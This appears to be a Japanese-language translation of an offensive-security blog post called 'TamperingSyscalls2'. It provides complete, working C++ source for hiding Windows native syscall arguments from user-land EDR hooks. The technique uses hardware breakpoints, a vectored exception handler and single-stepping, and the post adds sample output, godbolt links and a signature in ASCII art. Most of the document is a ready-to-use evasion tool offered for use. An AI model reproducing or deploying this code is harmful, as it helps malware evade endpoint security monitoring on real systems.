例では、NtCreateThreadExとNtCreateMutantで動作することを示しています! デバッグレジスタ4つはスレッドごとに個別にのみ使用してください。特定の関数の処理が完了したら、RemoveHWBPSメソッドを呼び出して関連するデバッグレジスタを解放できます。
1. (addr == entry.first) の場合、これは mov r10, rcx 命令の位置にいることを意味します。
- キー (TID | address) を使用して、引数をハッシュマップエントリに格納します。
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
- 次に、これらの引数値を0に設定します(他の任意の値でも構いません)。
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...
- 次に、ビット16にResume Flag、ビット8にTrap Flagを設定します。
- これにより、通常どおり実行が継続され、パフォーマンスへの影響はごくわずかです。
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
2. (addr == entry.second.sysc) になるまでシングルステップを続けます。
- これでシステムコール命令の位置に到達し、すべてのユーザーランドフックを通過しました。
- 以前の (TID | address) ルックアップキーを使用して引数を復元します。```c
auto const key = (address | GetCurrentThreadId());
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
前述した手法は、Native syscalls の大多数のすべての引数を隠すことに焦点を当てて 実装されています!それでは、このエレガントでシンプルなソリューションをお楽しみください。 デバッグ用のprint文も用意しているので、スタックとレジスタに加えられた変更や、 その背後にある思考プロセスを確認できます。```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 / / C++ Generic x64 user-land evasion technique utilizing HWBP.cpp / / Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ //////////////////////////////////////////////////////////////////////////////////////////
// 12 - 4 = 8 - should cover most Nt functions.
#define STK_ARGS 8 // Increase this value, works until ~100...
typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION;
typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS;
//////////////////////////////////////////////////////////////////////////////////////////
/* Macros /
//////////////////////////////////////////////////////////////////////////////////////////
#define PRINT_ARGS( State, ExceptionInfo )
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);
for (UINT idx = 0; idx < STK_ARGS; idx++){
const size_t offset = idx * 0x8 + 0x28;
printf("%d:\t0x%p\n", (idx + 5), (PVOID)(PULONG64)
((ExceptionInfo)->ContextRecord->Rsp + offset));
}
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
// Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; }
DWORD WINAPI TestThread(LPVOID lpParameter);
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true);
BYTE syscop[] = { 0x0F, 0x05 };
ADDRESS_MAP[address].syscall_addr =
FindRopAddress(address, syscop, sizeof(syscop));
BYTE retnop[] = { 0xC3 };
ADDRESS_MAP[address].return_addr =
FindRopAddress(address, retnop, sizeof(retnop));
};
VOID RemoveHWBPS()
{
SetHWBP(GetCurrentThread(), address, pos, false);
}
~TS2_HWBP()
{
RemoveHWBPS();
}
};
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);
if (address == syscall_instr) // mov r10, rcx
{
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
PRINT_ARGS("HIDING", ExceptionInfo);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
}
PRINT_ARGS("HIDDEN", ExceptionInfo);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
}
else if (address == ai.syscall_addr)
{
auto const key = (address | GetCurrentThreadId());
// SSN in ExceptionInfo->ContextRecord->Rax
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
PRINT_ARGS("RESTORED", ExceptionInfo);
SYSCALL_MAP.erase(key);
}
else if (address == ai.return_addr)
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);
TS2_HWBP TS2NtCreateThreadEx{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateThreadEx")),
0
};
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
if (t) WaitForSingleObject(t, INFINITE);
}
TS2NtCreateThreadEx.RemoveHWBPS();
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n");
TS2_HWBP TS2NtCreateMutant{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateMutant")),
0
};
HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);
return 0;
} ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
以下は、NtCreateThreadExの引数が隠蔽されていることを示す出力例です。```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1: 0x0000000000000000
2: 0x0000000000000000
3: 0x0000000000000000
4: 0x0000000000000000
5: 0x0000000000000000
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x0000000000000000
12: 0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1: 0x00000062618FF8D8
2: 0x00000000001FFFFF
3: 0x0000000000000000
4: 0xFFFFFFFFFFFFFFFF
5: 0x00007FF79FB01FA0
6: 0x0000000000000000
7: 0x0000000000000000
8: 0x0000000000000000
9: 0x0000000000000000
10: 0x0000000000000000
11: 0x00000062618FF9F0
12: 0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414
----TestThread----
[...]
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7
TamperingSyscalls2 (updated) - https://godbolt.org/z/edf9v1Wj6
TamperingSyscalls2 (pure C) - https://godbolt.org/z/9va7YzEe9
共有されたコードはほとんどのシステムコールで動作するはずですが、使用前にテストしてください。ここで紹介する作品の唯一の大きな制限は、ハッシュマップ(std::unordered_map)に依存していることです。これは内部的に NtAllocateVirtualMemory などのさまざまなネイティブ関数を間接的に呼び出すため、それらをフックできません。これは最小限の労力で x86 でも動作するよう作り変えることができます。
将来的には、最後の例で示したように、ライブラリを変更してシングルステップを利用することもできます。シングルステップを停止したいタイミング(アドレスまたは範囲)を把握し、そのように行う必要があります。これは PAGE_GUARD フックにも使用できます。
また、AddVectoredExceptionHandler を次のものに置き換えることもできます:
SetUnhandledExceptionFilter(ExceptionHandler);
参照:
[4] https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/
これらを踏まえて、前向きな言葉で締めくくりたいと思います。ハードウェアブレークポイントの生の、比類なき力をご理解いただけたなら幸いです!!!
jonas、hjonk、smelly、mez0、そして他の古参たちによろしく ;)```
.
. . :^.
!
^77^ :!7:!^.
.7!!
:!: :7^.
!. :! ...:^.
!7. .!^ !!!
7. ^7: .7.
.:^::. .7! !! !
....:::^!. !!: .7^ .!^
.:^:. :!!:.^!. .!7!^. ^7^:^~~~~~^:7.:::::^
^^?^. :!!!7
.^:
:^^:7. .77
::^^!!: :. -your mate!!^ .!^. ^^. rad
.!7~:::~!
!?^^.::^~~~777!. ^7. .^^:
^??^:.:::^~~~!!!7!!^. .!! .98. ...^~~~^:!7JY?^.:...:: :: .
.7JJ:^::::::^^!!?5: .?G5Y7!::^^::.... ... . ^!7.^:.:~ JBYJ~.
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7
.^?5J!^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....^::... .: ::7!.:^^::^^ ?B7:: .....
^^!!!^^!!77777~~~~!!!!777????!::..:.. . .^!!77^^ .:. ...^: . !B7. ~~::.^:
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!!!:. ..: J? ... .^
.^!J:^^^:::^^^7?YYYJ7!!..:. :^^^
.~~?:^^^^:^^^77?777!::^^ . . ....... .. .. ...:~~~!!!7!^7!:. .^:^777!7??7!!!^:: . . ....::..... .^~~~^^^
^^7^^!^^^^~~~:.:..^!:^^:7??7????7!!^:: . ... .......... .^!^^^^^J?7!~~^^^^
.!^..:^....:.^!7JYY5YJJ?77!:.^~ .. .:..!!:. .^::::.::^..: ... .... :5Y?7777~~~^
:!!!77???JJ?!^7^^^^~~~:..::^^:. :!^..:J?7~~^^^^^^
:..!!.^!!!^.::::... ^7JJJ??777!!!!!!~~~^. .......^^^ ...!J?77!!77?7!~
^7!::!!^:..:^::.. .^...^!77????77!~~~~^^!?!. . .. .::..:. .^7Y5YYYJ???!!
^?7::^^!. :::::. :: ... .....::::^^^!!!^. ....:!?!7!. .^..:?5YYJ?777!!
^:::.... ..:::?7^^!!7!: ..:... ^::.:^!!..7JJYYYYJJJ??J?JJ
:7!::~~~~: ... .^:.:::...^^:::::...... ......... :!: !7??JJJJJ???777
.:!77!!^~~7!!77!!^ :^:................::....:::.....:.:.. :!: :77J?7!!7??77!~~~~
?J57~!!!77!!!!!^:...^. .. ........:^^^^:....:.... :!. .?Y5YJ??J?7!^^^^
^::!!!!!77!!~~~!7!!^:^~~~~^:.. ....:::^^^::........ : .^?JJYJJ777!^^^
.^??^!!^^::~~~^:!^^^:. .....::::^:.. .... ^^ .. ..:7J5YJJ?!!~~
.^J!~~~^^:^::::^^^^!7!!~~~~!!^. .. ...::^......... .^::..:... .^755YJ???7
.^7:^!^:^:^^^^^!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~
^!:!^:^^~~~!~~~~~~~!7!!: . . .. ..... .:..:^^::::.. .?Y?!!!!~
:!^^^::::^~~^~~~~~~~!7!77. . . . . ......:::.. . ^7!7?7~~